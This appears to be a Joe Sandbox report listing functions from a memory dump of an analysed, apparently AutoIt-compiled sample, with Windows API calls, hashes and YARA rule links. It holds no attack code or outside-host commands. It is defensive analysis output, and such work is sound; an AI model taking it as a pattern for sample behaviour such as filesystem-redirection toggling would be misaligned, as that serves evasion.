Part of subcall function 009E1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 009E1C22

Part of subcall function 009E1B4A: RegisterWindowMessageW.USER32(00000004,?,009E12C4), ref: 009E1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 009E136A
OleInitialize.OLE32 ref: 009E1388
CloseHandle.KERNEL32(00000000,00000000), ref: 00A224AB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: b5a8618f8db7c4fd96a06c7842c325f086073d1a5f52db6bfd31aec83257db8a
Instruction ID: 8324b12f36f3009394dcd59495d50bd9bb25edee482ac0b5718e755cb406df1d
Opcode Fuzzy Hash: b5a8618f8db7c4fd96a06c7842c325f086073d1a5f52db6bfd31aec83257db8a
Instruction Fuzzy Hash: A7718AB49112408EC3A5DFFAAD756953BE4FB883947E4832E950AC7273EB3058428F95

Function 00A4C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 009E3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00A4C259
KillTimer.USER32(?,00000001,?,?), ref: 00A4C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00A4C270

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 9ba2abd96b8ef5ebc2ccaece60f44c2811c8b2b3f8946eeb93a13f599e906040
Instruction ID: b090ea81d8a733a00e101867b61372bc0aec770dbf0c1f20076b193e78b49e7c
Opcode Fuzzy Hash: 9ba2abd96b8ef5ebc2ccaece60f44c2811c8b2b3f8946eeb93a13f599e906040
Instruction Fuzzy Hash: 1D310574905344AFEB62DF648855BE7BBFCAB42318F00009ED2DEA7241C7B01A85CB51

Function 00A186AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,00A185CC,?,00AA8CC8,0000000C), ref: 00A18704
GetLastError.KERNEL32(?,00A185CC,?,00AA8CC8,0000000C), ref: 00A1870E
__dosmaperr.LIBCMT ref: 00A18739

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: b037801a49018550d4f10871881d754f99b8f218460fc180c21c189326dbb660
Instruction ID: 6e34e85061f3f98ad83f788f05e0479ac53d2609a61981b4907274f147d2bcd0
Opcode Fuzzy Hash: b037801a49018550d4f10871881d754f99b8f218460fc180c21c189326dbb660
Instruction Fuzzy Hash: 7B014E32A0562056D664A374AD55BFE67594BC27B4F39021EF8389F1D3DEA8CCC29150

Function 009EDB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 009EDB7B
DispatchMessageW.USER32(?), ref: 009EDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009EDB9F
Sleep.KERNELBASE(0000000A), ref: 009EDBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00A31CC9

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 32ddf1675a20318c88e4b74631f75018fb39ba781a815ec6bc38e0dfc50e274a
Instruction ID: 2b308e5155c59cd6c6762ad742274b74d6a7847b6cd637fd4a5467bdcbfd3051
Opcode Fuzzy Hash: 32ddf1675a20318c88e4b74631f75018fb39ba781a815ec6bc38e0dfc50e274a
Instruction Fuzzy Hash: 1EF0FE306453849BE734CBA1DC99FEA73ACEB85311F504A19F65A830D0EB3499898B25

Function 009F1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 009F17F6

Strings

CALL, xrefs: 009F17C6

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: c030787798d8eb1c955b3cd4e8cdb2d243c27e6855fb8fd75bec34b5306f01cb
Instruction ID: e9f42f73cda07ce553d47149333e16d1bc3ad08f0bda67430126b33b812e6dd2
Opcode Fuzzy Hash: c030787798d8eb1c955b3cd4e8cdb2d243c27e6855fb8fd75bec34b5306f01cb
Instruction Fuzzy Hash: F9228970608205EFC714DF14C490B2ABBF5BF89354F24892DF69A8B2A2D775E845CB92

Function 009E2DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00A22C8C

Part of subcall function 009E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009E3A97,?,?,009E2E7F,?,?,?,00000000), ref: 009E3AC2

Part of subcall function 009E2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 009E2DC4

Strings

X, xrefs: 00A22C5A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: 37275d7b8462b439ef190509df82e35373cf0f8cb2d574ac7cb87ae5d1e0aa1c
Instruction ID: b1e8d953e8334af6493d896270feecb9afdeadf6f090143decfd2f0051d693d0
Opcode Fuzzy Hash: 37275d7b8462b439ef190509df82e35373cf0f8cb2d574ac7cb87ae5d1e0aa1c
Instruction Fuzzy Hash: AB21EB70E002989FCB02DF95DC45BEE7BFCAF49304F048059E405B7281DBB459898F61

Function 009E3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 009E3908

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 3c435bbb164ec4fd11664bf8d2d1452ee5d427236e5ef5422fadc80b9247b26e
Instruction ID: d1bce6d091228dc4433bfef3c87423b4af38caae2dee785c35700bcf4058ba4f
Opcode Fuzzy Hash: 3c435bbb164ec4fd11664bf8d2d1452ee5d427236e5ef5422fadc80b9247b26e
Instruction Fuzzy Hash: 9431C171504340CFD761DF65D898BA7BBE8FB49308F00092EF69987251E771AE44CB52

Function 009FF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 009FF661

Part of subcall function 009ED730: GetInputState.USER32 ref: 009ED807

Sleep.KERNEL32(00000000), ref: 00A3F2DE

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 80bb077c4b1f81fc3cbba0a50cb2f80eda77e22add4b1170fd1e8d7d2ed06ef0
Instruction ID: 895eb65a2313edc20378140bb5aa6182a8411181e78dd253a38cf4ac8c4a0b35
Opcode Fuzzy Hash: 80bb077c4b1f81fc3cbba0a50cb2f80eda77e22add4b1170fd1e8d7d2ed06ef0
Instruction Fuzzy Hash: 5BF058312402059FD314EBAAD849B6AB7E8AF85760F004029F95AC7260DF60AC40CB90

Function 009EB710 Relevance: 2.1, APIs: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 009EBB4E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: b0d0115719b1172e5e36ecb53e55215a445c2484a21bae8277de712387ec7edd
Instruction ID: 8f1f6e47025e34b1dc160e8267fcdc2a216435b0771135ee99935e3622390de8
Opcode Fuzzy Hash: b0d0115719b1172e5e36ecb53e55215a445c2484a21bae8277de712387ec7edd
Instruction Fuzzy Hash: 9032AD74A00249DFDB25CF55C8A4FBAB7B9EF44304F14815AFA05AB262C778ED41CB91

Function 00A72598 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000013,00000001,?), ref: 00A72649

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: c4f55819136b3f60ddb86065a8c9fc9eb5e7c8f737f09c75c27ed22ddd23ad1a
Instruction ID: 64b7ec3598b0f04e60ce4c1f92975e35e3577fed0b7d4a3f2d83f4c65f526dd3
Opcode Fuzzy Hash: c4f55819136b3f60ddb86065a8c9fc9eb5e7c8f737f09c75c27ed22ddd23ad1a
Instruction Fuzzy Hash: E521F674200215AFE710DF19CCD0E36B7A9EF44368B24C46DE89A8B392DB71ED41CB90

Function 00A713B7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000001,?), ref: 00A71420

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 2b9ac41711a11f02cb7bf78a2837af18179c5b045f899449a98a2b37543da14a
Instruction ID: 9515e08581e456f77d94b8abbc0b1753dba74316ddc263149b30af7b1549b242
Opcode Fuzzy Hash: 2b9ac41711a11f02cb7bf78a2837af18179c5b045f899449a98a2b37543da14a
Instruction Fuzzy Hash: F8318070604242AFD714EF29C895B69F7E2FF85324F44C168E8694B292DB71EC41CBD0

Function 009E4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,009E4EDD,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4E9C
Part of subcall function 009E4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 009E4EAE
Part of subcall function 009E4E90: FreeLibrary.KERNEL32(00000000,?,?,009E4EDD,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4EC0

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4EFD

Part of subcall function 009E4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00A23CDE,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4E62
Part of subcall function 009E4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009E4E74
Part of subcall function 009E4E59: FreeLibrary.KERNEL32(00000000,?,?,00A23CDE,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4E87

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: d136b9b8a4adb3a02798f7abf3aa23c0714eda19d1ac3bf69583ed91d7d87314
Instruction ID: 47809769861c8d1e5f44b4762399c87bcab13c3174ac7984ce966812971da999
Opcode Fuzzy Hash: d136b9b8a4adb3a02798f7abf3aa23c0714eda19d1ac3bf69583ed91d7d87314
Instruction Fuzzy Hash: 1E110632600305AACF16FF66DD02FAD77A5AF80B11F108C2DF542A61C2EE74DE459B50

Function 00A18402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00A18440

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: f87e05ffa6e00efa780b3f7a011e4ebbc2e9d77d95f1a24d6dac26fc0c9f1ca1
Instruction ID: a69acb88ba083f1ae66d3b8c31a89295328a40c732f0d56d3f41ffd7fae5d97f
Opcode Fuzzy Hash: f87e05ffa6e00efa780b3f7a011e4ebbc2e9d77d95f1a24d6dac26fc0c9f1ca1
Instruction Fuzzy Hash: 7511487590410AAFCB05DF58E9409DB7BF9EF48300F104069F808AB312DA30DA11CBA4

Function 00A729BF Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?,?,?,00A714B5,?), ref: 00A72A01

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: d5fc2d041d99737358d32b56816bda405f6691bc80f2dc355cf11e17bc346206
Instruction ID: 04452b19285cab50cd6f50e6f0f6f59a078b455a16dbc73d6548ad1a37692b9c
Opcode Fuzzy Hash: d5fc2d041d99737358d32b56816bda405f6691bc80f2dc355cf11e17bc346206
Instruction Fuzzy Hash: C6014C36740A419FD3358B2DC854B2677A2EBC5354F69C569D14B8B251DA32EC42C7A0

Function 00A0E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 306f310425b37c189a2fe9f4ec0ea8b7582425718ad46b5b2bd136ffdae7cbaa
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 96F04432500A189AD6317B69BE05B9A33988F52370F100B15F420931C2CB75D84196A5

Function 00A7149E Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?), ref: 00A714EB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 8695879fd2a922bd9ef05127a22358862dd6785fb73ed2477d887f372553d1f6
Instruction ID: 62d0f90b47e3d8a2930fd5abd20ca240f87bad7e50c8d4d7ebd827b9ecd65406
Opcode Fuzzy Hash: 8695879fd2a922bd9ef05127a22358862dd6785fb73ed2477d887f372553d1f6
Instruction Fuzzy Hash: 8701BC752046419F9320CFAEC840926BBA5EB84364754C0A9E84E8B702E632DD82CB80

Function 00A13820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00AB1444,?,009FFDF5,?,?,009EA976,00000010,00AB1440,009E13FC,?,009E13C6,?,009E1129), ref: 00A13852

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 36c3d2969b4bbbc0e45e0efa181ea575cea3a2c1a7408e09effba034839457aa
Instruction ID: e385f70d976f1bacf98f36e8470880024e4fd703d1b5a07199915642630bf285
Opcode Fuzzy Hash: 36c3d2969b4bbbc0e45e0efa181ea575cea3a2c1a7408e09effba034839457aa
Instruction Fuzzy Hash: 35E02B33102328A6DF312FB7AD04BDB3758AF427B0F054130BD08968D1DB10DD8181E0

Function 009E4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00AB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009E4F6D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: c5600a38aee687ebd35f3e44feed7d4bd7ed6cb64e212f51464dde9ccbb9e437
Instruction ID: 8d7387b7e812d9f03ec2b867184822fd08addcc81d5646304d909fb8403a724b
Opcode Fuzzy Hash: c5600a38aee687ebd35f3e44feed7d4bd7ed6cb64e212f51464dde9ccbb9e437
Instruction Fuzzy Hash: 2BF03071105791CFDB359F66E494812B7E4AF147293108E7EE1DA83511C735DC44DF50

Function 00A72A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00A72A66

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

